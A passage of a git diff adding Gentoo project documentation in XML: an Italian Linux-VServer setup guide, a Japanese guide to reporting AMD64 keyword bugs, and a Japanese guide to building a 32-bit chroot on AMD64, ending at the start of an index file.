+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/vps/vserver-howto.xml,v 1.4 2010/03/07 16:23:56 scen Exp $ -->
+
+<guide link="/proj/it/vps/vserver-howto.xml" lang="it">
+<title>Guida a Linux-VServer con Gentoo</title>
+
+<author title="Autore">
+  <mail link="hollow"/>
+</author>
+<author title="Redazione">
+  <mail link="fox2mike"/>
+</author>
+<author title="Traduzione">
+  <mail link="swit@autistici.org">Matteo Carli</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+In questa guida si impara a installare un semplice server virtuale usando la
+tecnologia Linux-VServer
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.11</version>
+<date>2009-03-03</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Il concetto di Linux-VServer</title>
+<body>
+
+<p>
+Il concetto alla base del progetto Linux-VServer è di separare l'ambiente
+user-space in distinte unità (a volte chiamate Virtual Private Server) in modo
+che ogni VPS sembri e si comporti come un vero server con i processi in esso
+contenuti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Termini utilizzati in questa Guida</title>
+<body>
+
+<table>
+<tr>
+  <th>Termine</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <th>Linux-VServer, VServer</th>
+  <ti>
+    Linux-VServer è il nome ufficiale del progetto ed è usato in questa Guida
+    con il medesimo significato
+  </ti>
+</tr>
+<tr>
+  <th>virtual server, vserver, guest system</th>
+  <ti>
+    Tutti questi termini sono sinonimi e si riferiscono ad una istanza del
+    server (ad esempio un virtual server)
+  </ti>
+</tr>
+<tr>
+  <th>host system, host</th>
+  <ti>
+    La macchina fisica che monta Gentoo Linux e che ospita tutti i virtual
+    server
+  </ti>
+</tr>
+<tr>
+  <th>util-vserver</th>
+  <ti>
+    Il pacchetto <c>util-vserver</c> contiene tutti i programmi necessari per la
+    manutenzione dei virtual server
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurazione del sistema host</title>
+<section>
+<title>Installare un VServer kernel</title>
+<body>
+
+<pre caption="Installare vserver-sources">
+# <i>emerge vserver-sources</i>
+</pre>
+
+<p>
+Dopo aver installato vserver-sources è il momento di configurarlo usando <c>make
+menuconfig</c>. Qui sotto viene presentata una configurazione tipica per le
+versioni 2.1.1 e successive. Se si sta utilizzando la versione 2.0.x alcune
+opzioni di configurazione potrebbero non essere presenti.
+</p>
+
+<pre caption="Configurare vserver-sources">
+# <i>cd /usr/src/linux-&lt;VERSIONEKERNEL&gt;-vserver-&lt;VERSIONEVSERVER&gt;</i>
+# <i>make menuconfig</i>
+
+Linux VServer ---&gt;
+<comment>(Non abilitare le opzioni legacy)</comment>
+  [ ] Enable Legacy Kernel API
+  [ ] Enable Legacy Networking Kernel API
+<comment>(Leggere il testo d'aiuto)</comment>
+  [ ] Remap Source IP Address
+  [*] Enable COW Immutable Link Breaking
+  [ ] Enable Virtualized Guest Time
+  [*] Enable Proc Security
+  [*] Enable Hard CPU Limits
+  [*]   Avoid idle CPUs by skipping Time
+  [*]   Limit the IDLE task
+      Persistent Inode Context Tagging (UID24/GID24)  ---&gt;
+  [ ] Tag NFSD User Auth and Files
+  [*] Enable Inode Tag Propagation
+  [*] Honor Privacy Aspects of Guests
+  [ ] Compile Debugging Code
+</pre>
+
+<note>
+Se si usa reiserfs come filesystem, si deve abilitare l'opzione per gli
+attributi estesi di reiserfs nella configurazione del kernel e successivamente
+aggiungere <c>attrs</c> nelle opzioni in <path>/etc/fstab</path>.
+</note>
+
+<pre caption="Configurare le opzioni per reiserfs">
+File systems  --->
+  &lt;*&gt; Reiserfs support
+  [*]   ReiserFS extended attributes
+</pre>
+
+<pre caption="Esempio di fstab con gli attributi estesi attivi">
+/dev/hdb1 /vservers reiserfs noatime,attrs 0 0
+</pre>
+
+<p>
+Dopo che il kernel è stato compilato e installato, è necessario aggiornare il
+bootloader ed infine controllare se il kernel riesce ad avviarsi correttamente.
+</p>
+
+<pre caption="Installare il kernel">
+<comment>(Compilare il kernel)</comment>
+# <i>make</i>
+<comment>(Installarlo)</comment>
+# <i>make modules_install</i>
+# <i>cp arch/&lt;arch&gt;/boot/bzImage /boot/kernel-&lt;KERNELVERSION&gt;-vserver-&lt;VSERVERVERSION&gt;</i>
+<comment>(Modificare la configurazione del boot loader come richiesto e successivamente riavviare:)</comment>
+# <i>reboot</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Configurare l'ambiente ospitante</title>
+<body>
+
+<p>
+Per la manutenzione del virtual server è necessario il pacchetto util-vserver il
+quale contiene tutti gli applicativi necessari e molte funzioni utili.
+</p>
+
+<pre caption="Installare util-vserver">
+# <i>emerge >=sys-cluster/util-vserver-0.30.212</i>
+</pre>
+
+<p>
+Si deve eseguire il comando <c>vprocunhide</c> dopo ogni riavvio per impostare
+correttamente i permessi in <path>/proc</path> per i guest di vserver. Due
+script di init verranno installati da util-vserver i quali eseguiranno il
+comando <c>vprocunhide</c> al posto dell'utente e prendendosi in carico la
+gestione dei server virtuali durante lo spegnimento dell'host.
+</p>
+
+<pre caption="script di init di util-vserver">
+# <i>rc-update add vprocunhide default</i>
+# <i>/etc/init.d/vprocunhide start</i>
+# <i>rc-update add util-vserver default</i>
+# <i>/etc/init.d/util-vserver start</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creazione di un guest</title>
+<section>
+<title>Scaricare uno stage3 precompilato</title>
+<body>
+
+<p>
+Siccome molti comandi relativi all'hardware non sono disponibili all'interno di
+un server virtuale, esiste una versione modificata di baselayout chiamata
+baselayout-vserver. Tuttavia, a partire da baselayout-2/openrc, tutte le
+modifiche necessarie sono state integrate nella versione normale di baselayout,
+eliminando il bisogno di stage, profili e baselayout vserver separati. L'unico
+svantaggio (temporaneo) è che baselayout-2/openrc è ancora in fase di testing
+(~arch) e non ci sono ancora stage con tale versioni di baselayout/openrc
+disponibili nei mirror.
+</p>
+
+<p>
+Appena baselayout-2/openrc diverranno stabile si potrà utilizzare uno stage3
+precompilato prendendolo da uno dei <uri link="/main/en/mirrors.xml">mirror di
+Gentoo</uri>. Nel frattempo scaricare uno stage3/4 o un stage gentoo-vserver da
+<uri link="http://bb.xnull.de/projects/gentoo/">qui</uri>. Siccome uno stage3
+contiene un filesystem completo di root è possibile usare il metodo di creazione
+da modello di util-server. Tuttavia, questo metodo funziona in modo affidabile
+solamente da util-vserver-0.30.213_rc5, pertanto assicurarsi di avere installata
+la giusta versione.
+</p>
+
+<p>
+Si deve scegliere un "context ID" per il vserver (si sconsiglia di usare context
+ID dinamici) nonché le informazioni necessarie sui dispositivi di rete (in
+questo esempio eth0 è configurata con 192.168.1.253/24 e il "context ID" sarà
+equivalente agli ultimi due ottetti dell'indirizzo IP del vserver).
+</p>
+
+<note>
+Il context ID dovrebbe essere 1 &lt; ID &lt; 49152.
+</note>
+
+</body>
+</section>
+<section>
+<title>Usare il metodo di creazione da modello</title>
+<body>
+
+<p>
+Per diverso tempo lo stile di init semplice era l'unico stile di init
+disponibile per Gentoo, per esempio un normale processo di init verrà avviato
+all'interno del guest, similmente a qualsiasi sistema Unix generico. Tuttavia
+questo approccio ha alcune controindicazioni:
+</p>
+
+<ul>
+  <li>Nessuna possibilità di vedere l'output degli script di init/rc</li>
+  <li>Spreco di risorse per i processi di init inattivi in ciascun guest</li>
+  <li>Conflitti fastidiosi per <path>/etc/inittab</path></li>
+</ul>
+
+<p>
+Perciò molti utenti hanno richiesto la re-implementazione dello stile init di
+gentoo, che era stato abbandonato in quanto era un'implementazione molto sporca
+e funzionava saltuariamente a causa di altre modifiche introdotte in baselayout
+da allora. Tuttavia, da util-vserver-0.30.212 lo stile init di gentoo è stato
+reintrodotto in maniera concisa e diverrà l'impostazione predefinita in futuro.
+</p>
+
+<note>
+Se non c'è nessun valido motivo per usare un processo di init aggiuntivo per
+ciascun guest o non si sa cosa fare in questo caso, è consigliabile optare per
+lo stile init di gentoo.
+</note>
+
+<pre caption="Inizio installazione dello stage3">
+# <i>vserver myguest build \</i>
+  <i>--context 1253 \</i>
+  <i>--hostname gentoo \</i>
+  <i>--interface eth0:192.168.1.253/24 \</i>
+  <i>--initstyle gentoo \</i> <comment>(sostituire se necessario)</comment>
+  <i>-m template -- \</i>
+  <i>  -d gentoo \</i>
+  <i>  -t /path/to/stage3-&lt;arch&gt;-&lt;version&gt;.tar.bz2</i>
+</pre>
+
+<note>
+Per rendere effettive le configurazioni di rete si deve modificare:
+<path>/etc/conf.d/hostname</path>, <path>/etc/conf.d/domainname</path> e
+<path>/etc/hosts</path> all'interno del guest system . Vedere il <uri
+link="/doc/it/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect1">
+capitolo 8.b.1</uri> e il <uri
+link="/doc/it/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect4">
+capitolo 8.b.4</uri>. Il resto delle configurazioni del vserver saranno fatte
+sul sistema host.
+</note>
+
+<p>
+Ora dovrebbe essere possibile avviare ed accedere al vserver usando i comandi
+seguenti.
+</p>
+
+<pre caption="Testare il virtual server">
+# <i>vserver myguest start</i>
+
+  OpenRC 0.4.3 is starting up Gentoo Linux (x86_64) [VSERVER]
+
+Press I to enter interactive boot mode
+
+* /proc is already mounted, skipping
+* Setting hostname to myguest...                     [ ok ]
+* Creating user login records...                     [ ok ]
+* Cleaning /var/run...                               [ ok ]
+* Wiping /tmp directory...                           [ ok ]
+* Updating /etc/mtab...                              [ ok ]
+* Initializing random number generator...            [ ok ]
+* Starting syslog-ng...                              [ ok ]
+* Starting fcron...                                  [ ok ]
+* Starting Name Service Cache Daemon...              [ ok ]
+* Starting local...                                  [ ok ]
+# <i>vserver-stat</i>
+CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
+0       90   1.4G 153.4K  14m00s11   6m45s17   2h59m59 root server
+1252     2     3M   286    0m00s45   0m00s42   0m02s91 myguest
+# <i>vserver myguest enter</i>
+# <i>ps ax</i>
+  PID TTY      STAT   TIME COMMAND
+    1 ?        Ss     0:04 init [3]
+27637 ?        Ss     0:00 /usr/sbin/syslog-ng
+27656 ?        Ss     0:00 /usr/sbin/fcron -c /etc/fcron/fcron.conf
+27676 ?        Ssl    0:00 /usr/sbin/nscd
+27713 ?        S+     0:00 login
+27737 pts/15   Ss     0:00 /bin/bash
+27832 pts/15   R+     0:00 ps ax
+# <i>logout</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>Manutenzione semplificata</title>
+<section>
+<title>Avviare i sistemi guest al boot</title>
+<body>
+
+<p>
+Si possono avviare, in modo sicuro, i sistemi guest al boot del sistema host. È
+possibile specificare per ogni sistema guest un contrassegno chiamato MARK.
+Adesso tutto quello che c'è da fare è assegnare un MARK ad ogni sistema guest
+tramite la propria configurazione e aggiungere gli script di init appropriati al
+runlevel default.
+</p>
+
+<pre caption="Configurazione dei MARK per ogni sistema guest">
+<comment>(Ripetere questi comandi per ogni sistema guest da contrassegnare)</comment>
+# <i>mkdir -p /etc/vservers/myguest/apps/init</i>
+# <i>echo "default" > /etc/vservers/myguest/apps/init/mark</i>
+</pre>
+
+<pre caption="Aggiungere uno script di init al runlevel default">
+ # <i>rc-update add vservers.default default</i>
+ </pre>
+
+</body>
+</section>
+<section>
+<title>Sincronizzare portage</title>
+<body>
+
+<p>
+Lo script <c>vesync</c> aiuterà a tenere sincronizzati la cache dei metadata con
+gli overlay. <c>vemerge</c> permette di usare emerge con i sistemi guest.
+</p>
+
+<pre caption="Esempi">
+<comment>(Sincronizzazione dei metadata per 'myguest')</comment>
+# <i>vesync myguest</i>
+<comment>(Sincronizzazione dei metadata per tutti i guest)</comment>
+# <i>vesync -all</i>
+<comment>(Sincronizzazione di 'myoverlay' per tutti i guest)</comment>
+# <i>vesync -all \</i>
+  <i>--overlay /usr/local/overlays/myoverlay \</i>
+  <i>--overlay-host rsync://rsync.myhost.com/myoverlay \</i>
+  <i>--overlay-only</i>
+<comment>(Installazione di app-editors/vim in 'myguest')</comment>
+# <i>vemerge myguest app-editors/vim -va</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Aggiornamento dei sistemi guest</title>
+<body>
+
+<p>
+I sistemi guest, su Gentoo, possono condividere i pacchetti per evitare lunghi
+tempi di compilazione. Per poter utilizzare la condivisione dei pacchetti è
+necessario creare una cartella per centralizzare il salvataggio dei pacchetti
+sul sistema host. Usare <path>/var/cache/vpackages</path> sul sistema host,
+montandola in <path>/usr/portage/packages</path> per ogni sistema guest.
+</p>
+
+<pre caption="Aggiungere l'opzione bind per il mount">
+# <i>mkdir -p /var/cache/vpackages</i>
+# <i>$EDITOR /etc/vservers/myguest/fstab</i>
+<comment>(Aggiungere questa linea alla fine del file)</comment>
+/var/cache/vpackages /usr/portage/packages none bind,rw 0 0
+</pre>
+
+<p>
+Adesso si può utilizzare <c>vupdateworld</c> per aggiornare tutti i sistemi
+guest. Il comando è equivalente a qualcosa tipo <c>emerge --deep --update
+--newuse world</c> ma dipende dalle opzioni passate da riga di comando.
+</p>
+
+<pre caption="esempi con vupdateworld">
+<comment>(Simulare l'aggiornamento per 'myguest')</comment>
+# <i>vupdateworld myguest -- -vp</i>
+<comment>(Aggiornamento di 'myguest' usando i pacchetti binari)</comment>
+# <i>vupdateworld myguest -- -k</i>
+<comment>(Aggiornamento di tutti i sistemi guest usando i pacchetti binari)</comment>
+# <i>vupdateworld -all -- -ka</i>
+</pre>
+
+<note>
+Per poter ottenere pacchetti binari è necessario utilizzare PORTAGE_BINHOST
+(vedere <c>man make.conf</c>) oppure impostare FEATURES="buildpkg" in uno o più
+sistemi guest.
+</note>
+
+<p>
+Dopo aver aggiornato con successo i sistemi guest è possibile aggiornare con
+semplicità i file di configurazione con <c>vdispatch-conf</c>. Questo script
+permette di usare <c>dispatch-conf</c> con i sistemi guest ereditandone le
+caratteristiche.
+</p>
+
+<pre caption="esempi con vdispatch-conf">
+<comment>(Aggiornare i file di configurazione di 'myguest')</comment>
+# <i>vdispatch-conf myguest</i>
+<comment>(Aggiornare i file di configurazione di tutti i guest system)</comment>
+# <i>vdispatch-conf -all</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Contatti</title>
+<body>
+
+<p>
+Si può contattare <mail link="hollow@gentoo.org">l'autore</mail> o aprire un
+bug su <uri link="http://bugs.gentoo.org">Bugzilla</uri> in caso di problemi.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/base/amd64/howtos/bugs.xml b/xml/htdocs/proj/ja/base/amd64/howtos/bugs.xml
new file mode 100644
index 00000000..1db80ff7
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/howtos/bugs.xml
@@ -0,0 +1,108 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/howtos/bugs.xml,v 1.2 2006/04/01 03:55:47 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-20</date>
+<!-- Original revision: 1.5 -->
+
+<section>
+
+<title>Gentoo/AMD64でのkeyword-Bugsのレポート方法</title>
+
+<body>
+<p>
+まず最初にGentoo/AMD64プロジェクトをお手伝い頂いきありがとうございます。
+あなたのアプリケーション評価における熱心な作業に大いに感謝いたします。
+次のステップで、maskされているアプリケーションがGentoo/Amd64のシステムで動作
+することを知らせたいときの、バグレポートを提出する手順を説明します。
+</p>
+</body>
+</section>
+
+<section>
+<title>最初に登録してください!</title>
+<body>
+<p>
+もし、まだあなたが<uri link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>でIDを登録していないなら、まず登録してください。
+</p>
+</body>
+</section>
+
+<section>
+<title>提出の手順</title>
+<body>
+<p>
+次の手順を踏んで、バグを提出してください。
+</p>
+<ul>
+	<li><uri link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>を閲覧する</li>
+	<li>ページのトップに近い所にある<c>Report A Bug</c>をクリックする</li>
+	<li><c>Gentoo Linux</c>を、製品一覧から選択。</li>
+	<li>あなたのbugs.gentoo.orgアカウントを使ってログインします</li>
+	<li>あなたのバグを検索します
+		<ul>
+			<li><c>ALL</c>を入力して、テキストボックスに検索したebuildの名前を入力します。
+			<c>ALL</c>を使う場合は、大文字、小文字を区別することに気をつけてください。</li>
+		</ul>
+	</li>
+</ul>
+<pre caption="例">ALL k3b</pre>
+<ul>
+	<li>あなたのバグの検索を続ける
+		<ul>
+			<li><c>Search</c>ボタンをクリックする。</li>
+			<li>動作するマスクされたアプリケーションにバグレポートがすでに提出されていないかチェックする。</li>
+			<li>二つのことを見てください。
+				<ul>
+					<li>Pltコラムが<c>amd64</c>である。</li>
+					<li>サマリコラムが<e>working on amd64</e>のような内容が書かれている。</li>
+				</ul>
+			</li>
+			<li>もし、あなたが検索サブフレームにて、なにも適切なことを言わないのであれば、次のステップに移動してください。
+			もしくは、われわれがそのアプリケーションについては分かっているなら、あなたは新規のバグレポートを提出する必要はありません(し、するべきではありません)。</li>
+		</ul>
+	</li>
+	<li>あなたの情報を提供します
+		<ul>
+			<li><e>Component</e>の<c>Ebuilds</c>を選択します。</li>
+			<li><e>Hardware Platform</e>の<c>amd64</c>を選択します。</li>
+			<li><e>Summary</e>テキストボックス内で、フォームにあなたのサマリを入力してください。
+			たとえば、「${category}/${application}-${version} works on amd64.」という感じです。</li>
+		</ul>
+	</li>
+</ul>
+<pre caption="例">app-cdr/k3b-0.11.6 works on amd64</pre>
+<ul>
+	<li>情報提供を続ける
+		<ul>
+			<li><e>Description</e>テキストエリアでは、フォームの中に簡単な説明を入力してください。
+			たとえば、「Please add "~amd64" to the KEYWORDS for ${category}/${application}-${version}.」という感じです。</li>
+		</ul>
+	</li>
+</ul>
+<pre caption="例">Please add "~amd64" to the KEYWORDS for app-cdr/k3b-0.11.6</pre>
+<ul>
+	<li>情報提供を続ける
+		<ul>
+			<li><c>emerge info</c>のアウトプットを<e>Description</e>テキストエリアに貼り付けます。
+			このステップは非常に有益であり、あなたの環境設定などを教えてくれます(例: USEフラグ)。</li>
+			<li>ドロップダウンボックスの<e>Severity</e>から<c>Enhancement</c>を選択します。
+			<e>ここでは、ほかのものを選択しないようにお願いします。 必要であれば、開発者はあなたのバグリポートの重要度を必要に応じて変更出来ます(するでしょう)。</e></li>
+		</ul>
+	</li>
+	<li>あなたが正しい情報を入力したことを再度確認してください。</li>
+	<li>リポートを提出する準備が出来たら<c>Submit Bug Report</c>をクリックしてください。</li>
+</ul>
+<p>
+どうもありがとうございました。
+</p>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/ja/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..41c92b9b
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/howtos/chroot.xml
@@ -0,0 +1,251 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/howtos/chroot.xml,v 1.1 2006/04/01 03:34:18 idani Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.0.2</version>
+<date>2005-08-31</date>
+<!-- Original revision: 1.5 -->
+
+<section>
+<title>はじめに</title>
+<subsection>
+<title>64bitシステムの紹介</title>
+<body>
+<p>
+このGentoo Linux 32bit chrootガイドは、Gentoo/AMD64システムで、本当の32bit chrootを設定するお手伝いをします。
+</p>
+<p>
+ご存じの通り、64bitシステムは32bitアプリケーションをネイティブで実行しません(少なくともportageとは)。
+32bitアプリケーションを動作させるために、エミュレーションライブラリを使う必要があります。もしくは、ネイティブ32bitアプリケーションをインストールして実行するためのchroot内に、真の32bitシステムを作成する必要があります。
+もっとも一般的な使用では、32bit chrootシステムを構築する必要はありません。
+しかしながら、もし実行したいアプリケーションが32bitライブラリと動作するバイナリがない場合は32bit chrootが必要になります。 このガイドは、32bit chrootを設定して、そのchroot内でどうやってアプリケーションをインストール、そして実行するかを、お教えします。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>インストール</title>
+<subsection>
+<title>32bit chrootをインストールする</title>
+<body>
+<p>
+32bit chrootをインストールするためには、Gentoo Linuxをx86コンピュータにインストールするための多くの手順を踏まなくてはなりません。
+今回は、<uri link="http://www.gentoo.org/main/en/mirrors.xml">ミラー</uri>にある最新のstage3が必要です。
+</p>
+<pre caption="Gentooミラーからstage3をダウンロードする">
+$ cd /home/user/downloads
+$ wget -c http://distfiles.gentoo.org/releases/x86/2005.0/stages/athlon-xp/stage3-athlon-xp-2005.0.tar.bz2
+</pre>
+<note>ダウンロードするのは、x86のstageです、AMD64<c>ではありません</c>。</note>
+<p>
+stage3をダウンロードした後に、新しいchrootを構築するための新しいディレクトリを作成する必要があります。
+</p>
+<pre caption="32bit chrootのためのディレクトリを作成する">
+$ su root <i>あなたのrootパスワードを挿入</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+<p>
+そして、ダウンロードしたstageを移動します。
+例のように、展開して設定します。
+</p>
+<pre caption="stage3からインストールする">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-athlon-xp-2005.0.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+<p>
+これでセットアップ用のchrootの準備が出来ました。
+次の章を読んでセットアップ方法に関して学んでください。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>セットアップ</title>
+<subsection>
+<title>新しい32bit chrootのための設定を行う</title>
+<body>
+<p>
+もし、ここまですべてうまくいっていれば、新しい32bit chrootの設定が出来るようになり、このchrootのインストールも完了です。
+</p>
+<p>
+次のステップは新しい<c>/mnt/gentoo32/etc/make.conf</c>を設定します。
+</p>
+<pre caption="新しいmake.confを設定する">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+<p>
+複数の仮想のファイルシステムをマウントします。
+</p>
+<pre caption="仮のファイルシステムのマウント">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+<p>
+これであなたの64bitシステムには、だいたい使用可能な本当の32bit chrootがインストールされました。
+次に、あなたのchrootに64bitシステムにあるportageからリンクを作成する必要があります。
+この方法で、たくさんのデータを複製する代わりに一つのインストールされたシステムをアップデートするだけになります。
+</p>
+<pre caption="32bit chrootの中に/usr/portageをリンクする">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+<note>
+emerge syncを実行して、partageをアップデートするたびに、32bit chrootのportageもアップデートされます。
+</note>
+<p>
+もし、Xを使用する32bitアプリケーションを実行したい場合、/tmpもマウントする必要があります。
+</p>
+<pre caption="GUIがあるアプリケーションのために/tmpをマウントする">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+<p>
+これで、chrootの中へ切り替わる準備が出来ました。
+</p>
+<pre caption="chrootの中へ切り替わる">
+<i>(linux32をすでにインストールしていない場合にだけ実行してください</i>
+# emerge linux32
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(i686設定になっていることを確認してください)</i>
+# uname -m
+Linux mysystem 2.6.12-gentoo-r1 #1 Mon Jun 27 02:41:55 GMT 2005 i686 AMD Athlon(tm) 64 Processor 3500+ AuthenticAMD GNU/Linux
+</pre>
+<warn>
+CHOSTの値を変更するために<c>linux32</c>ユーティリティは必要です。
+もし、あなたが忘れてしまったなら、ほぼ間違いなくchroot内環境ではコンパイルすることは出来ないでしょう。
+</warn>
+<p>
+これで、新しい32bit chrootはアップデートされる準備が出来ました。
+次の手順でアップデートしてください。
+</p>
+<pre caption="新しい32bit chrootをアップデートする">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+<p>
+この後は、基本的に32bit chrootの設定を完了したものとして説明します。
+もうすこし便利にするために、われわれは64bitシステムに新しいファイルを設定して起動時に32bit chrootが有効になるようにします。
+</p>
+<pre caption="/etc/init.dに新しいファイルを作成する">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bits chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null &amp;
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null &amp;
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bits chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bits chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null &amp;
+    umount -f /mnt/gentoo32/dev/shm >/dev/null &amp;
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bits chroot directories"
+}
+</pre>
+<p>
+これで、<c>rc-update add gentoo32 default</c>を実行するだけで、起動時に実行されます。
+</p>
+<p>
+chroot環境に切り替えたい時はいつも、<c>linux32 chroot /mnt/gentoo32 /bin/bash</c>コマンドを実行するだけでかまいません。
+</p>
+<p>
+これで、新しいアプリケーションをインストールするための32bit chrootが出来ました。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>アプリケーション</title>
+<subsection>
+<title>chrootに新しいアプリケーションをインストールする</title>
+<body>
+<p>
+これで、あなたは、すべての32bitモードでのアプリケーションをインストールすることが出来る十分に機能している32bit chrootを持っています。
+あなたの32bit chrootにどうやって新しいパッケージをインストールできるか見てみましょう。
+</p>
+<pre caption="chroot内にfooをインストールする">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+<note>
+chroot内に切り替わったら常に、<c>source /etc/profile</c>と<c>env-update</c>を実行することを覚えておいてください。
+</note>
+<p>
+これで32bit chrootに新しいパッケージをインストールしました。
+もし、新しいパッケージを実行したいなら、chroot内で実行する必要があります。
+もし、Xアプリケーションを実行したいなら、最適なソリューションは<c>xhost</c>トリックを使用して実行します。
+Xアプリケーションを実行する場合は常に、このコマンドを64bit環境で実行してください。
+</p>
+<pre caption="Xhostトリック">
+# xhost local:localhost
+</pre>
+<p>
+この後に、chroot内に再び入り、32bit chroot内で構築したすべてのXアプリケーションを実行することが出来るはずです。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>結論</title>
+<subsection>
+<title>このガイドの結論</title>
+<body>
+<p>
+このchrootで、多くのx86アーキテクチャにしかないパッケージをインストールすることが出来ます。
+<c>OpenOffice</c>のような、いくつかのアプリケーションは、Gentoo/AMD64向けのバイナリを使用してインストールすることも出来ます。
+いくつかの<c>MPlayer</c>のコーデックは、この32bit chrootが必要で、このchrootで、<c>win32codecs</c>をインストールすることが出来ます。
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/howtos/index.xml b/xml/htdocs/proj/ja/base/amd64/howtos/index.xml
new file mode 100644
index 00000000..6daed9ef
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/howtos/index.xml
@@ -0,0 +1,45 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/howtos/index.xml,v 1.4 2006/04/01 03:34:18 idani Exp $ -->
